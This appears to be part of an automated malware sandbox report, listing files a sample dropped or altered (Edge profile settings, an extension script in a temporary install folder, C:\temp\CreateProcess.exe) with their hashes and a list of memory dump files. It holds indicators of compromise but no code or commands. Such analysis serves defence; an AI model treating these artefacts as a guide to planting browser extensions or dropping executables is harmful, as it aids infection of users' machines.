Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a084e.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 422f633faba5517fc1e4b9332aceb2cefda71123920b589297ac749bb1907cbc
MD5 93d6121e81f7a6c1be00c0fefc94d9b0
SHA1 f5b0f7414e3c1ab32ec36d02d4525b4b0ff4457e
SHA512 acbbb2d9368e6ac3b3089d9306bf45f83c1a995c20456601389e0b8ba39d98496d48527fb0dc05d8c299a11eea8f6f70d7c2dae6f3da845d1f1728d518b08472
SSDEEP 768:G6rv+4UNbds3gbOmjHD4hqsJBRu37BtAwjUSzFiB6:G6bsbW3gbOm7D4XRuoTnB6
TLSH
T19D03BF31A4589D739CFBD2C4B2567B83BFB410A389C51F94C8E92B0D458B29D270BD67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 f1698a54a102c5965b1af73bb31aa6093d2fb8abba4789eb0738b1e65604198b
MD5 c6ddc53d7ce0242876e37974d9771c03
SHA1 a28b47d28b053784d33c4b182ab82c730d122efb
SHA512 43e41e53aabb3642f6b32ba5f1b1f8f4f4453119557fe126f15e368415532e87e305135347f7223aa948d3085c66352c7b0f988393535f4cd29e9c052dad7803
SSDEEP 768:CIrv+4UNbdX3rW/Ht4hqsEu37BtAwjUSzZtUikB+:CIbsbR3rWft4AuoT8UJI
TLSH
T1FB03CF32A85499379CF7C295B25B7B43BFB45163C5851F90C8ED2B0D828B15D230BE67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 9bc6b2b3ca241bf3d6509215fb3817b0b4ef0f3d12f7799f805e293d27a35c5b
MD5 fa72db92889f8860d0794423241dbd16
SHA1 403e685d80b3d6c98ac21e2f73d24f91f3678fd1
SHA512 e33304351018dd79de0da18a73d68ce943ad0b37dd08fa607fd65ac5a5f1cbfa1427a064fe6959a3b7d04cd5e830f0f69f954dc93f6dab988c0288021dbd6fe4
SSDEEP 768:GHj+9K3gbOSrHD4hqsJBou37BtAwjUSzFib9MH:Gq9K3gbOSDD4XouoTnb+H
TLSH
T19BF2AF3198449E739CEBC6D5B3563B93AFF011B385C92E84D8ED6B0D058769C174782B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 c8ae487bd227248e5041f54ebd3d587a31e8818d383ae06ff80d5b3225884a95
MD5 4dad25b0e35feeeae9e8f81c48251753
SHA1 8566dffcfc4fa5fb45233a0fc2dfd815de041899
SHA512 71f2edb6c23266a92d634faf81570fe83bbcc2581afce024fa9d746800c1bcd5b55383b07b81e24ea8df82f5ec68bfaaf13cd5ec8e17cc52ad620a9d23cac310
SSDEEP 768:ONF1j+9K3CwgYbOS5HHcqsJBTu37BtAwjUSzFib9MH:OE9K3fbOSRITuoTnb+H
TLSH
T1BD1329F198C38A76D8AE8797A37D2E429EFCC163B5885984B7D41E0DCD831BFD206815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1100_949504546\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 6bec401620c8ac56caf70add3a95cd428d46201abc5c00837929591d0352e96b
MD5 b468f3b8b3290cc09d13580e8ef1bef6
SHA1 be00620fa1b5f90030802966b8dcdb818d068471
SHA512 17c4db4699b9e54d8b259ade3888bd966ac036ba2ebe632cdefb009934837b58993158e6135a86fdf99c149681e38e7d2ef5f42fb040af8e171ba81e95fb0f7b
TLSH
T1F871238357B9D6B3C1DA5BF502835248F1FF2238072370340B515546AB30A7E28B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1128-419-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2080-282-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2180-323-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2396-469-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2396-447-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2396-375-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2624-195-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2944-480-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2992-65-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3380-342-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3380-387-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3428-270-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3576-346-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3576-400-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4316-327-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4812-467-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5192-431-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5244-442-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5808-297-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5880-497-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6008-242-0x0000000000010000-0x00000000000AB000-memory.dmp

Download